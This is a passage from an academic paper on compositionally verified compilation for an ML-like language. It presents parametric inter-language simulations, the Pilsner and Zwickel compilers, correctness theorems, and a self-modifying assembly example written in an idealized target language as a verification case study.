semantics” of its source language (and hence preserve confidence
in the high-level verification). Unfortunately, this trust is not well
founded. For instance, recent work of Le et al. [14] identified 147
confirmed bugs in the industrial-strength GCC and LLVM compilers,
of which 95 were violations of semantics preservation.

The goal of compiler verification is to eliminate the need for
trust in compilation by providing a formal, machine-checked guar-
antee that a compiler is semantics-preserving. Toward this end, the
most successful project so far has been CompCert [15], a verified
optimizing compiler for a significant subset of C that was developed
by Leroy and collaborators using the Coq proof assistant. Indeed,
Le et al. [14] report that, despite extensive testing, they were unable
to uncover a single bug in CompCert.

Now one may rightly ask: what does it mean for a compiler to
“preserve the semantics” of the source program it is compiling? The
standard answer, adopted by CompCert, is as follows. Suppose
we are working with a distinguished source language S and a
distinguished target language T. Given a whole S program pS ,
the compiler’s output tr(pS) should be a whole T program pT that
refines pS . Refinement means that any observable behavior of pT
should also be a valid observable behavior of pS , for some common
notion of “observable behavior” that both the S and T languages
share (e.g., termination, I/O events).

Although the above definition of semantics preservation is
perfectly suitable for whole-program compilers, it says nothing
about separate compilation. In practice, many programs are linked
together from multiple separately-compiled modules, some of which
may be compiled using different compilers or even hand-optimized
in assembly. Is it possible to define a compositional notion of
semantics preservation that says what it means for a single module
in a program to be compiled correctly, while assuming as little as
possible about how the other modules in the program are compiled?

We are not the first to broach this question—it has been an active
research topic in recent years. The natural starting point is the no-
tion of contextual refinement: target modulemT contextually refines
source module mS if C[mT ] refines C[mS ] for all closing program
contexts C. However, contextual refinement fundamentally assumes
that mT and mS are modules written in the same language, since
they are linked with the same program context C. Thus, when defin-
ing semantics preservation between very different source and target
languages, one must either find a way of embedding both languages
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Figure 1. Structure of the Pilsner compiler

in a multi-language semantics [19] (so that contextual refinement
remains on the table) or else pursue more complex alternatives to
contextual refinement. We leave a more detailed discussion of prior
work until §8, but we argue that all previously proposed solutions
are lacking in some dimension of compositionality. In particular, we
articulate the following three desiderata for a compositional notion
of semantics preservation:

• Modularity: To enable verified separate compilation, semantics
preservation (aka refinement) should be defined at the level of
modules, not just whole programs, and it should be preserved
under linking. Specifically, suppose that source (S) module mS

is refined by target (T) module mT , and that S module m′S is
refined by T module m′T . We should then be able to conclude
that the S-level linking of mS and m′S is refined by the T-
level linking of mT and m′T . (This is sometimes referred to as
“horizontal compositionality”.)
• Transitivity: Proofs of semantic preservation should be transi-

tively composable. That is, one should be able to prove a com-
piler correct by verifying refinement for its constituent passes
independently and then linking the results together by transitivity.
(This is sometimes referred to as “vertical compositionality”.)
• Flexibility: It should be possible to prove semantics preservation

for a range of different compilers and program transformations,
so that the results of different verified compilers (which might
employ different intermediate languages) can be safely linked
together, and so that hand-optimized and hand-verified machine
code can be safely linked with compiler-generated code.1

In this paper, we present a new technique, particularly suited
to compositional compiler verification for higher-order imperative
(ML-like) languages, which we call parametric inter-language
simulations (PILS). PILS synthesize and improve on two pieces of
prior work: (1) Hur et al.’s work on parametric bisimulations [9, 10]
(originally called “relation transition systems”), and (2) Hur and
Dreyer’s work on a Kripke logical relation (KLR) between ML and
assembly [8].

Parametric bisimulations are a simulation method for higher-
order imperative languages, designed to support proofs that are
modular, transitive, and capable in principle of generalizing to
inter-language reasoning, i.e., reasoning about relations between
programs in different languages. However, Hur et al. only actually
used them to prove contextual equivalences between programs in a

1 Note: In our model of the semantics preservation problem, every module in
a program is represented by both an S and a T version, and we aim to prove
that the T version refines its S counterpart. For modules that are compiled by
a verified compiler, the T version is generated automatically by the compiler.
But for any module that is hand-coded in T, one must also manually supply
its S counterpart, which serves as a “specification” that the hand-coded T
module is then proven to refine. (We will see an example of this in §2.3.)
This means that we can only account for hand-coded T modules that have
some S-level counterpart. This is somewhat of a restriction at present, since
we focus here on the setting where S is a high-level, ML-like language
and T a low-level, assembly-like language, and certainly not all assembly
modules have an ML-level counterpart. However, we do not view this as
a fundamental restriction: there is nothing in principle preventing us from
generalizing our approach to a setting where S itself supports interoperation
between high- and low-level modules. We discuss this point further in §8.

single (high-level) language, leaving open the question of whether
the generalization to inter-language reasoning would pan out.

Hur and Dreyer’s work, on the other hand, was precisely tar-
geted at supporting inter-language reasoning. Their Kripke logical
relations introduced a rich and flexible notion of Kripke structures
(possible worlds), with which they modeled the protocols governing
calling conventions and the invariants connecting the different rep-
resentations of data in the source and target languages of a compiler.
As a proof of concept, they demonstrated the extreme flexibility of
these Kripke structures by using them to verify the correctness of a
deliberately obfuscated piece of self-modifying assembly code with
respect to an ML-level function. However, due to limitations of their
logical-relations method—in particular the lack of transitivity—their
Kripke structures were only applicable to single-pass compilers.

PILS marry the benefits of these approaches together:

• PILS are modular: they enable compiler verification in a way that
supports separate compilation and is preserved under linking.
• PILS are transitive: we use them to verify Pilsner, a simple (but

non-trivial) multi-pass optimizing compiler from an ML-like
source language S (supporting recursive types, abstract types,
and general references) to an idealized assembly-like target
language T, going through a CPS-based intermediate language
I. After CPS conversion, Pilsner performs several optimizations
at the I level prior to code generation. These optimizations
include function inlining, contification, dead code elimination,
and hoisting (Figure 1). Although Pilsner is relatively simple—
it is not nearly as realistic as the (whole-program) verified
CakeML compiler, for instance [13]—it is the first multi-
pass compiler for a higher-order imperative language to be
compositionally verified.
• PILS are flexible: we use them to additionally verify (1) Zwickel,

a direct (one-pass) non-optimizing compiler from S to T, and (2)
Hur and Dreyer’s aforementioned self-modifying code example,
programmed as a T module and proven correct w.r.t. an S-level
specification. Thanks to PILS’ modularity, the output of Zwickel
and the self-modifying T module can then be safely linked
together with the output of Pilsner.

All these results, together with the metatheory of PILS, have been
mechanically verified in Coq—a significant undertaking, involving
several person-years of work and over 55,000 lines of Coq.

In the rest of the paper, we give a high-level overview of our
main results (§2), we review the basic idea behind parametric
bisimulations which is also the core of PILS (§3), we describe the
structure and some details of the PILS used in Pilsner and Zwickel
(§4–§6), we highlight interesting aspects of the Pilsner verification
(§7), and we conclude with discussion and related work (§8).

2. Results
2.1 Modularity
The goal of compiler correctness is to obtain a formal guarantee that
the program that comes out of the compiler behaves the same as (or
refines) the program that went in, according to a mathematical model
of the source and target language in question. Traditionally, research
on compiler correctness has focused on whole program compilation
and does not support separate compilation. In separate compilation,
the source program consists of several source modules, which are
independently compiled to target modules. These target modules are
then linked together, creating the final program. Note that different
source modules may very well be compiled by different compilers.

We now illustrate how our approach, PILS, supports such sepa-
rate compilation (and in fact even more heterogeneous scenarios).
We consider the setting of a high-level ML-like source language S
and a low-level machine target language T (for details, see §4).
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The main component of our development is a relation between
target modules and source modules: Γ ` MT -TS MS : Γ′

intuitively states that target module MT refines source module MS

and that they import the functions listed in Γ and export those in
Γ′. The first key result, Theorem 1, applies to whole programs,
i.e., well-typed modules that import nothing and export at least a
main function (Fmain) of appropriate type. It states that our relation
implies the standard behavioral refinement.
Theorem 1 (Adequacy for whole programs).

· `MT -TS MS : Γ (Fmain : unit→ τ) ∈ Γ

Behav(MT) ⊆ Behav(MS)

Behav(−) denotes the set of I/O and termination behaviors that
a program can have. The theorem implies for instance that, if MS

always successfully terminates, then so doesMT and moreover they
produce the same outputs.

If we have a compiler that respects our relation -TS, then
Theorem 1 gives us the same result as traditional whole-program
compiler verification would. However, our relation also satisfies the
following crucial property.
Theorem 2 (Preservation under linking, a.k.a. modularity).

Γ `M1
T -TS M

1
S : Γ1 Γ,Γ1 `M2

T -TS M
2
S : Γ2

Γ ` (M1
T ./ M2

T) -TS (M1
S ./ M

2
S) : Γ1,Γ2

(Here, ./ is overloaded notation for the linking operation both in
the source and target language.) The theorem says that if we link two
target modules, each of which is related to a source module, then
the resulting target module is related to the linking of those source
modules. Notice that, for the linking to make sense, the types of the
first module’s exported functions (in Γ1) need to match the second
module’s assumptions. Of course, if a program consists of more
than two modules, this theorem can be iterated as necessary and
once linking results in a whole program, we can apply Theorem 1.

Observe that these properties don’t mention any particular
compiler but are stated in terms of arbitrary related modules. The
missing link is a theorem saying that the desired compilers adhere
to our relation. We prove this for Pilsner and Zwickel, our compilers
from S to T. Their correctness theorems apply to any well-typed
source module:
Theorem 3 (Correctness of Pilsner).

Γ `MS : Γ′

Γ ` Pilsner(MS) -TS MS : Γ′

Theorem 4 (Correctness of Zwickel).
Γ `MS : Γ′

Γ ` Zwickel(MS) -TS MS : Γ′

While Zwickel carries out a straightforward direct translation
from S to T, Pilsner is more sophisticated: as shown in Figure 1,
it compiles via an intermediate language I and performs several
optimizations. We will discuss Pilsner (in detail) and Zwickel
(briefly) in §7.

These results mean that we can preserve correctness not only
by linking, say, Pilsner-produced code with other Pilsner-produced
code, but also by linking it with code produced by Zwickel.

Moreover, we would like to stress two important points. PILS
were designed with flexibility in mind and make only few assump-
tions about the translation of source programs, namely details of the
calling convention and in-memory representation of values (see §5).
Consequently:

1. Nothing stops us from proving a theorem analogous to the
previous two for yet another compiler from S to T, perhaps
even using several different intermediate languages.

2. Nothing stops us from proving the relatedness of a source and
target module by hand, e.g., when the target module is not the

direct result of a compiler run but was manually optimized (see
§2.3 for an extreme example of this, where the target module
overwrites its own code at run time).

Hence, we can also preserve correctness when linking with code that
was produced by other compilers or even hand-translated. We only
have to ensure that these translations are also correct w.r.t. -TS,
such that Theorem 2 applies.

2.2 Transitivity
Proving a property like Theorem 3 can require a lot of effort: the
more complex the compiler, the more complex its correctness proof.
It is thus crucial that a correctness proof can be broken up into
several pieces, e.g., one sub-proof per compiler pass. PILS support
such a decomposition thanks to a transitivity-like property. In our
setting, where Pilsner compiles via one intermediate language I, we
can show the following:

Theorem 5 (Transitivity).

|Γ| `MT -TI MI : |Γ′| |Γ| `MI -∗II M
′
I : |Γ′|

Γ `M ′I -IS MS : Γ′

Γ `MT -TS MS : Γ′

Here, -TI relates target modules to intermediate modules, -II

relates intermediate modules to intermediate modules, and -IS

relates intermediate modules to source modules. All are very similar
to -TS and support similar reasoning principles. We will say more
about them in §5; for now suffice it to say that, since -TI and
-II involve only untyped languages,2 the relations themselves are
“untyped” and we erase the typing annotations in their environments
(e.g., written |Γ|), leaving just a list of function labels. Notice how
using the transitive closure of -II in the second premise of the rule
allows us to verify each IL transformation separately.

2.3 Flexibility
As already mentioned above, PILS make few assumptions about
details of a translation and, as such, can be used not only to
verify multiple different compilers with the same source and target
languages (e.g., Pilsner and Zwickel), but also to account for linking
with hand-optimized low-level code. To substantiate this claim, we
have proven3 the challenging refinement from Hur and Dreyer [8]
mentioned in §1, which relies on tricky manipulations of local state,
far more involved than those of any imaginable compiler.

This example is based on Pitts and Stark’s “awkward” exam-
ple [20], which is easy to explain:

ea := let x = ref 0 in λf. (x := 1; f 〈〉; !x)
eb := λf. (f 〈〉; 1)

Both expressions evaluate to higher-order functions that, when
applied, call the argument “callback” function f and then return
a number. In eb this number is simply 1. In ea it is the result of
dereferencing a local (private) reference x, which is initialized
to 0. Notice, though, that when ea is called for the first time, it
immediately writes 1 to x. Since there are no other writes, the value
of x returned at the end will always be 1 as well. As a result, ea and
eb are equivalent programs (see the next section for a proof sketch).

Hur and Dreyer [8] adapt this example by substituting for eb a
tricky self-modifying machine program that implements the same
behavior, but in a rather baroque way. Figure 2 shows what this
program looks like in memory. It is parameterized by the load
address n and E(−) denotes the encoding of an instruction as a

2 In order to demonstrate that PILS are not inherently tied to typed languages,
we consider a type-erasing compiler, not a completely type-directed one.
3 After slightly modifying the machine code to account for a difference in
calling convention.
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n+0 E(ld arg 1) n+12 666 + E(ld aux E(jmp n+15))
E(alloc arg arg) 666 + E(ld i n+5)
E(ld aux n+5) 666 + E(sto [i + 0] aux)
E(sto [arg + 0] aux) 666 + E(sto 〈sp + 0〉 ret)
E(jmp ret) 666 + E(bop + sp sp 1)

n+5 E(ld i n+11) n+17 666 + E(ld ret n+20)
E(ld aux [i + 0]) 666 + E(sto clo arg)
E(bop − aux aux 666) 666 + E(jmp [clo + 0])
E(sto [i + 0] aux) 666 + E(bop − sp sp 1)
E(bop + i i 1) 666 + E(ld ret 〈sp + 0〉)

n+10 E(bop − aux n+24 i) n+22 666 + E(ld arg 1)
666 + E(jnz aux n+6) 666 + E(jmp ret)

Figure 2. Self-modifying “awkward” example

machine word. Notice that part of the code has been “encrypted” by
adding 666 to its encoding. We briefly explain how the code works.

The first few lines allocate a new function closure with empty en-
vironment and code pointer n+5, and return it to the context. When
this function gets called the first time, it starts out by decrypting the
encrypted instructions (offsets 5–11), thus replacing the encrypted
code in memory. Subsequently (offsets 12–14), it replaces its first
instruction by a direct jump in order to skip over the decryption loop
in future executions. The remaining code (offsets 15–23), which is
also the target of that jump, simply performs the callback function
call and then returns 1.

Hur and Dreyer showed that this contrived implementation
refines the high-level program ea as a demonstration that their KLR
approach is flexible enough to reason about semantically involved
“transformations”, even ones whose correctness relies on low-level
internal state changes that clearly have no high-level counterpart.
By verifying the same example (with respect to -TS), we aim to
demonstrate that PILS are equally flexible. In fact, the high-level
structure of our proof closely follows that of Hur and Dreyer’s proof
because, as we explain in the next section, PILS and KLRs have a
lot in common.

3. Background
PILS are essentially an inter-language generalization of the earlier
work on parametric bisimulations (PBs) [9], which in turn emerged
from prior work on KLRs [3, 6] in an attempt to overcome its
limitations concerning transitivity. Both PBs and KLRs support the
same high-level reasoning principles for higher-order imperative
programs; they just do so in technically different ways. In this
section, we give a bit of background on KLRs and PBs, and the
similarities and differences between them.

What PBs and KLRs have in common: Protocols. One of the
key features shared by PBs and recent work on KLRs is the ability
to impose protocols on the local state of some functions, which
describe how that local state is permitted to evolve over time. This
idea was articulated most clearly by Dreyer et al. [3, 6], who
proposed the use of various forms of state transition systems (STSs)
to model these protocols and applied them to the verification of
many challenging contextual equivalences.

The basic idea of protocols—and how intuitively one reasons
about them—is easiest to explain by appeal to the simple “awkward”
example presented in the previous section. We thus begin by walking
through a proof of this example, using STS protocols, at a very
informal level. At such a high level of abstraction, there is really no
difference between a proof of the example using PBs vs. KLRs.

Step 1: Recall that we wish to prove ea equivalent to eb. By
symbolically executing ea, we see that it allocates a fresh heap
location—call it lx—which gets bound to x. Since this location is
fresh, and since it is kept private by ea, we can impose a protocol on
it, dictating how its contents may evolve. We choose the following

protocol, initially in state s0:

s0: lx 7→ 0 s1: lx 7→ 1
--

This protocol expresses that the value at lx currently is 0 (which
indeed it is), but that it may eventually change to 1, after which
point it will stay 1 forever.

Remark. This STS is very simple: besides consisting of only two
states and a single transition, it also refers to only one of the two
memories, namely that of ea. In general, an STS may refer to both
memories and even relate them to each other.

Now that we have installed this protocol on lx, the proof reduces
to showing that the function values va and vb returned by ea and eb
“behave equivalently” (and, in so doing, respect the protocol).

va := λf. (lx := 1; f 〈〉; !lx)
vb := λf. (f 〈〉; 1)

(Note that vb is just eb, since eb was already a value.)
So what does it mean to “behave equivalently”? This is really

the big question, for which KLRs and PBs give different answers.
Rather than try to answer it directly, we will instead describe two
informal proof principles concerning behavioral equivalence that,
at the level of abstraction we are working at here, are supported
by both proof methods, and we will finish the proof sketch by just
appealing to these proof principles. After that, we will explain how
the different proof methods implement these principles.

Principle 1 (Showing Behavioral Equivalence): To show that
va and vb behave equivalently, it suffices to show that they behave
equivalently when applied to any arguments fa and fb passed in
from the environment, which we may assume are equivalent.

Principle 2 (Using Assumed Equivalence): If fa and fb are
assumed equivalent, then fa 〈〉 and fb 〈〉 behave equivalently.

Note that these proof principles make a distinction between when
two functions behave equivalently and when they are assumed
equivalent. We explain the difference between these notions below.
Note also that we restricted Principle 2 here to functions with unit
argument; this is merely to simplify our informal discussion.

Step 2: By Principle 1, suppose that we are given fa and fb,
passed in from the environment, that are assumed equivalent; it
remains to show that va fa and vb fb behave equivalently. When
the execution of these functions begins, the state of lx’s protocol
could be either in s0 or s1, since the functions could be called at
some point in the future. In either case, va fa first sets lx to 1,
thereby either updating the state of the protocol to s1 (if it was in s0
to start) or leaving it as is—either way, a legal transition.

Step 3: We are now trying to show that (fa 〈〉; !lx) and (fb 〈〉; 1)
behave equivalently, given that the protocol is now in state s1. Since
fa and fb were assumed equivalent, we know by Principle 2 that
fa 〈〉 and fb 〈〉 behave equivalently. The result therefore reduces to
showing that !lx and 1 behave equivalently. We may assume that
these expressions are executed starting in state s1, because that is
the only state accessible from the state s1 we were in previously
(i.e., we assume the protocol has been respected by fa and fb).

Step 4: Since we know we are still in state s1, we know that !lx
evaluates to 1. Thus, !lx and 1 behave equivalently, so we are done.

Logical relations. Both KLRs and PBs allow one to turn the above
proof sketch into a proper proof. The key difference between them
is how they formalize behavioral vs. assumed equivalence.

KLRs formalize this by defining a relation, which says—once
and for all—what it means for two expressions to be indistinguish-
able at a certain type. One then uses this same “logical” relation
as the definition of both behavioral and assumed equivalence. For
expressions, the logical relation says that they are equivalent if they
either both run forever or they both evaluate to equivalent values.
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For function values, which both the v’s and the f ’s in our example
are, the logical relation says that they are equivalent if they map
logically-related arguments to logically-related results. Principles 1
and 2 both fall out of this definition as immediate consequences.

The main difficulty with logical relations is that, by conflating
behavioral and assumed equivalence, they introduce an inherent
circularity in the construction of the logical relation. In particular,
the definition of equivalence of function values refers recursively
to itself in a negative position (when quantifying over equivalent
arguments). Traditionally, for simpler languages (e.g., without
recursive types or higher-order state), this circularity is handled
by defining the logical relation by induction on the type structure.
For richer languages, such as our source language S, induction on
types is no longer sufficient, but step-indexing can be used instead
to stratify the construction by the number of steps of computation
in the programs being related [3]. This is the approach taken by
Hur and Dreyer [9] in their earlier work on compositional compiler
correctness. However, it is not known how to prove transitivity of
logical relations for step-indexed models (at least in a way that is
capable of scaling to handle inter-language reasoning, which we
need for compiler verification).4

Parametric bisimulations. This problem with transitivity was one
of the key motivations for parametric bisimulations (PBs). Unlike
logical relations, PBs treat behavioral and assumed equivalence as
distinct concepts. In particular, rather than trying to define assumed
equivalence, PBs take assumed equivalence as a parameter of
the model (hence the name “parametric bisimulations”). That is,
a PB proof that two expressions are behaviorally equivalent is
parameterized by an arbitrary unknown relation U representing
assumed equivalence,5 and U could relate any functions fa and fb!

To make use of this unknown U parameter, PBs update the defi-
nition of behavioral equivalence accordingly. For function values,
one can show them behaviorally equivalent precisely as suggested
by Principle 1, i.e., if they map U -related (assumed equivalent)
arguments to behaviorally equivalent results. For expressions, be-
havioral equivalence extends the definition from logical relations
with a new possibility, namely that the expressions may call func-
tions fa and fb related by U . This amounts to baking Principle 2
directly into the definition of behavioral equivalence. The reason this
is necessary—i.e., the reason Principle 2 does not just fall out of the
definition otherwise—is that U is a parameter of behavioral equiva-
lence. Knowing that fa and fb are assumed equivalent according to
U tells us absolutely nothing about them! Consequently, Principle 2
must be explicitly added to the definition of behavioral equivalence
as an extra case (called the “external call” case, as it concerns calls
to “external” functions passed in from the environment).

One can understand PBs as defining a “local” notion of behav-
ioral equivalence: two expressions are behaviorally equivalent if they
behave the same in their local computations, ignoring what happens
during calls to (U -related) external functions passed in from the
environment. Intuitively, this is perfectly sound: it just means each
module in a program is responsible for its own local computations,
not the local computations of other modules. Moreover, as we have
observed already, it is largely a technical detail: PBs can support the
same high-level protocol-based reasoning as KLRs do.6

4 Transitivity for logical relations can be achieved via methods such as >>-
closure [6], or by restricting the relations to well-typed terms [2], but such
approaches depend on the relations relating terms in the same language.
5 Hur et al. [9] called this the “global knowledge”, in contrast to the “local
knowledge”. We feel our terminology is more intuitive, and does not conflict
with the global/local distinction as it pertains to worlds (§5.1).
6 There is one exception: PBs do not admit the eta law for function values.
This is a known problem [9], with a known solution [11], but we leave it as
future work to incorporate this solution into PILS.

The major benefit of PBs over KLRs is that they avoid the
problems with the circularity of KLRs which necessitated step-
indexing. In particular, note that by taking Principle 1 as the
definition of behavioral equivalence for function values, we avoid the
negative self-reference that plagues logical relations: the arguments
fa and fb are simply drawn from the unknown relation U . This
avoidance of step-indexing was essential in making it possible to
establish that PBs do in fact support transitivity, but it does not mean
that the proof of transitivity was easy. The interested reader can find
further details in an earlier technical report [10].

4. PILS, Part 1: Languages
PILS generalize PBs to the inter-language setting of compiler
verification. Recall from §2 that we are interested in compiling
from an ML-like source language S to a machine language T,
and that the more complex of our two compilers, Pilsner, employs
an intermediate language I. As argued before, besides the main
similarity relation -TS between T and S modules, we also need
PILS to provide a similarity relation for each pair of languages
adjacent in Pilsner’s compilation chain (Figure 1), i.e., -TI, -II,
and -IS.

4.1 Language-Generic Approach
In order to avoid duplicate work, we define PILS in a language-
generic way, i.e., we define similarity -AB for two abstract lan-
guages A and B (for some notion of abstract language to be de-
scribed), and then instantiate it with different language pairs in order
to obtain the desired relations. This has two important benefits:

1. Most of the metatheory, which is quite involved, can be es-
tablished once and for all. This is particularly crucial because
PILS were developed from the start in Coq, and over time the
definitions—and thus proofs—had to undergo countless changes.
This might simply have been infeasible if it weren’t for the
language-generic setup.

2. One can instantiate PILS with a different intermediate language
(or several of them) in order to verify a different compiler. Using
modularity (Theorem 2), one can then of course safely link T
code produced by this compiler with Pilsner-produced and/or
Zwickel-produced code.

In (1), we say “most of the metatheory” because transitivity and
the parts of modularity and adequacy that deal with details of module
loading are actually not proven generically. Ultimately, it would be
nice to do so but it would require some effort to properly axiomatize
various properties of the abstract language that these proofs rely
on. Moreover, it might require a distinction between intermediate
language and non-intermediate language, with slightly different
sets of requirements. For now, it is much easier to simply prove the
theorems for the concrete instances (of course this involves many
generically proven lemmas). The downside of this is that, in order to
verify a compiler using different intermediate languages, one needs
to reprove the corresponding transitivity property. Adequacy and
modularity, on the other hand, do not need to be reproven as they do
not involve the intermediate languages.

To instantiate the generic PILS model and obtain one of the
desired similarity relations requires us to provide: (i) the pair of
concrete languages, and (ii) the global world for this pair. The latter
can be seen as a predefined protocol (in the sense of §3) responsible
for fixing calling conventions and data representations. We will
discuss global worlds further in §5.

One point that we glossed over so far is that our generic defini-
tion is also not entirely generic—as we will see in the next section,
it still essentially bakes in our source language’s type structure. Con-
sequently, instantiating PILS as-is with a different source language
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Domains: Val,Cont,Conf ,Mach,Mod,Anch

Operators and relations:
• cload ∈ Mod→ Anch→ (Lbl×Val)∗ → P(Conf)
• vload ∈ Mod→ Anch→ (Lbl×Val)∗ → Lbl→ P(Val)
• · ∈ Conf → Conf → Conf (commutative and associative)
• ∅ ∈ Conf (neutral for ·)
• ↪→ ∈ P(Evt×Mach×Mach)
• real ∈ Conf → P(Mach)
• error := {m ∈Mach | ∀c. m /∈ real(c)}

Figure 3. Language specification

most likely won’t make much sense. This is fine, because we focus
on a single source language in this work. Extending this to multiple
source languages, perhaps even allowing interoperability between
them, is clearly important but left to future work.

Another point we glossed over is that we actually define two
generic models: a typed one and an untyped one. The former is used
when the input language is S, the latter is used in all other cases
(where no involved language has static types). However, we will
continue to refer to them as just “the generic model”, because the
untyped one is obtained simply by erasing all the type arguments
from the typed one (highlighted in brown in the figures in §5).

4.2 Language Specification
We now describe the language abstraction in terms of which PILS
are defined. In the subsequent sections, we then briefly present the
concrete languages under consideration (S, I, T). Common to all
languages are a set of events and a countably infinite set of labels:

t ∈ Evt ::= ε | ?n | !n F1, F2, . . . ∈ Lbl

Events are produced by an executing program; they consist of
internal computation (ε) and I/O operations (reading or writing
a number n, respectively). Labels are used to identify module
components; in this work, we consider a simplistic notion of module
as the unit of compilation.

Figure 3 presents the abstract language in terms of a signature
that any concrete language must implement. Keep in mind that
we need to account for a very high-level language (S) on the one
extreme and a very low-level language (T) on the other extreme.

A language must come with a set Val of values, a set Cont
of continuations, a set Conf of configurations, a set Mach of
machines, a set Mod of modules, and a set Anch of anchors
(think: load addresses). The core of the operational semantics is
given in the form of a transition system (↪→) of machines, whose
transitions are labelled with events t. Configurations can be thought
of as partial machines—they play different roles in different contexts
(e.g., they might represent just a heap or just an expression, or even
a full machine). If a configuration c is complete, it is realized by
a set of machines real(c). (In all our instantiations, this is either
empty, meaning the configuration is invalid or incomplete, or it
contains exactly one machine.) Configurations must form a partial
commutative monoid with composition · and neutral element ∅,
except that the partiality is implicit via real. (Having · be total is
more convenient for mechanization [18]). We say a machine denotes
an error, m ∈ error, iff it does not realize any configuration.

Intuitively, modules are sets of labelled function values (the
exports), which may refer to external functions (the imports) by
their unique labels. In the language specification, the module
interface consists of two operations, cload and vload. The former,
cload, takes an anchor saying “where” the module is to be loaded
and values for each of its imports. It then returns a set of initial
configurations in which the module is considered loaded. Given
the same inputs and additionally the label of one of the exported
functions, vload returns the module’s corresponding function value.

τ ::= α | unit | nat | τ1 → τ2 | τ1 × τ2 | τ1 + τ2 | µα. τ |
∀α. τ | ∃α. τ | ref τ

e ::= x | F | 〈〉 | n | e1 ◦ e2 | ifnz e then e1 else e2 | 〈e1, e2〉 |
e.1 | e.2 | inl e | inr e | case e (x. e1) (x. e2) | roll e | unroll e |
fix f(x). e | e1 e2 | Λ. e | e[] | pack e | unpack e1 as x in e2 |
l | ref e | !e | e1 := e2 | e1 == e2 | input | output e

v ::= 〈〉 | n | 〈v1, v2〉 | inl v | inr v | roll v | fix f(x).e | Λ.e | pack v | l

Val := {v | FV(v) = ∅}
Cont 3 K ::= • |K e | v K | . . .
Mod 3M ::= [F1=e1, ..., Fn=en] Anch := 1
Env := Lbl ⇀ Val Heap := (Loc ⇀ Val)⊥
Mach := Heap× Env × Exp
Conf := Heap× Env⊥,∅ × Exp⊥,∅

(h, σ,K[input])
?n
↪→(h, σ,K[n])

(h, σ,K[F ]) ↪→(h, σ,K[v]) (if σ(F ) = v)
(h, σ,K[ref v]) ↪→(h·{l 7→v}, σ,K[l]) (if h·{l 7→v} 6= ⊥)

· · ·
(h, σ, e) ↪→(⊥, σ, e) (if e 6= v and no other rule applicable)

Figure 4. Source language S

4.3 Source Language S

The source language S is a standard PCF-like language extended
with products, sums, universals, existentials, general recursive types,
general reference types, and numeric I/O. Its type and term syntax
is given in Figure 4.

Continuations are the evaluation contexts K in terms of which
the language semantics is defined. Machines consist of a heap h,
a read-only environment σ for resolving labels to values, and an
expression e. Heaps are either undefined (⊥) or partial maps from
locations to values. We assume the obvious composition operation ·
for heaps (overloading notation) that returns the union of two heaps
iff both are defined and they don’t overlap (otherwise it returns
⊥). Note that the empty heap ∅ is its neutral element. The step
relation between machines is a pretty standard substitution-based
left-to-right call-by-value reduction and we state only a few rules. If
a machine cannot take a successful step (according to the usual rules
such as beta reduction), then it steps to an error state by invalidating
its heap component.

Configurations are machines where one or more components may
be missing or invalid. For a machine m to realize a configuration
c, it must match the configuration (m = c with the obvious
embedding of Mach in Conf ). Moreover, it must carry a valid
and finite heap (finiteness guarantees that allocation will succeed).
We define Conf and their composition operation (·) such that
heaps can successfully be split across several configurations, but
environments and expressions cannot—they must be defined in
exactly one component in order for the composition to be realizable.

We assume a standard typing judgment Γ ` e : τ , where Γ
assigns types to both labels and variables. It implies that τ and the
types in Γ are closed and that all labels and free variables in e are in
the domain of Γ.

A module M is simply an ordered list of uniquely labelled
function definitions. The above typing judgment is lifted to modules
as Γ ` M : Γ′, but requires that both Γ and Γ′ only contain
labels and, for simplicity, that the module components are all
functions (fix f(x). e or Λ. e). Moreover it imposes a strict left-
to-right dependency order on the module components.7 As there is
no need for anchors in the source language, we define them as a
singleton set.

Linking two modules (./) simply concatenates them (assuming
their labels are disjoint). Note that this is an asymmetric operation

7 This is merely to keep the module semantics simple. PILS themselves,
being a coinductive method, are perfectly compatible with mutual recursion.
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a ::= 〈〉 | n | 〈x1, x2〉 | x.1 | x.2 | inl x | inr x |
fix f(y, k). e | Λk. e | x1 == x2 | x1 ◦ x2

e ::= let y = a in e | let k y = e1 in e2 | y ← input; e | output x; e |
y ← ref x; e | x1 := x2; e | y ← !x; e | ifnz x then e1 else e2 |
casex (y. e1) (y. e2) | x1 x2 k | x[] k | k x

Val 3 v ::= 〈〉 | n | l | 〈v1, v2〉 | inl v | inr v |
〈σ, fix f(y, k).e〉 | 〈σ, λy.e〉

Cont := Val
Env := Lbl ] TVar ]KVar ⇀ Val
Mach := Heap× (Env × Exp)

(h, (σ, let k y = e1 in e2)) ↪→(h, (σ[k 7→〈σ, λy.e1〉], e2))

(h, (σ, k x)) ↪→(h, (σ′[y 7→σ(x)], e))
(if σ(k) = 〈σ′, λy.e〉)

· · ·
(h, (σ, e)) ↪→(⊥, (σ, e)) (if no other rule applicable)

Figure 5. Intermediate language I

as it may resolve imports of the right module, but not of the left.
The semantics of a program, i.e., a complete module containing a
designated main function (Fmain) of type unit→ τ , is the semantics
of the machine consisting of an empty heap, the module itself as
environment, and the call of the main function as the expression
component.

4.4 Intermediate Language I

I is an untyped, or rather, dynamically typed CPS-variant of S,
inspired by Kennedy’s intermediate language [12]. Parts of it are
shown in Figure 5.

In contrast to the source language, I is defined using an
environment-based semantics where continuations and functions
evaluate to closures of code and environment. This avoids the need
to reason about substitutions when verifying optimizations, which
is often a hassle.

Being in continuation-passing style, every subexpression is
explicitly named and functions never “return”. Concretely, we
distinguish between (i) pure expressions a, which are evaluated
in let-bindings and always yield a value without any side-effects,
and (ii) control expressions e. Ignoring conditionals, every control
expression is essentially a sequence of bindings ending in a function
or continuation call. For instance, let k y = e1 in e2 defines a
new continuation k with argument y and body e1, and then executes
e2 (which may use k). Here y ∈ TVar is term variable, while
k ∈ KVar is a continuation variable. Any x in the language syntax
stands for either a term variable or a label.

Modules, anchors, configurations, etc. are similar to those in
the source language. We define Cont simply as Val because
continuations are already values in the language.

4.5 Target Language T

As shown in Figure 6, our target language T is an idealized assembly
language featuring instructions for arithmetic, control flow, memory
access, and I/O. Some of them support multiple addressing modes.
For instance, if o = 〈r1 ± n〉, then sto o r2 stores the contents of
register r2 on the stack at the address contained in register r2, offset
by±n. If o = [r1±n], then it stores it on the heap instead. The lpc
instruction loads the current program counter into the given register.

T is idealized for instance in the sense that machine words are
unbounded natural numbers and stack and heap are unbounded as
well. The set of registers, though, is fixed (their names, by the way,
are merely suggestive and do not matter for the language semantics).
Moreover, code is encoded as data and can be modified. We assume
a deterministic (but otherwise arbitrary) memory allocator.

Machines consist of heap, stack, register file, and current pro-
gram counter (pointing to the heap). We omit the transition rules
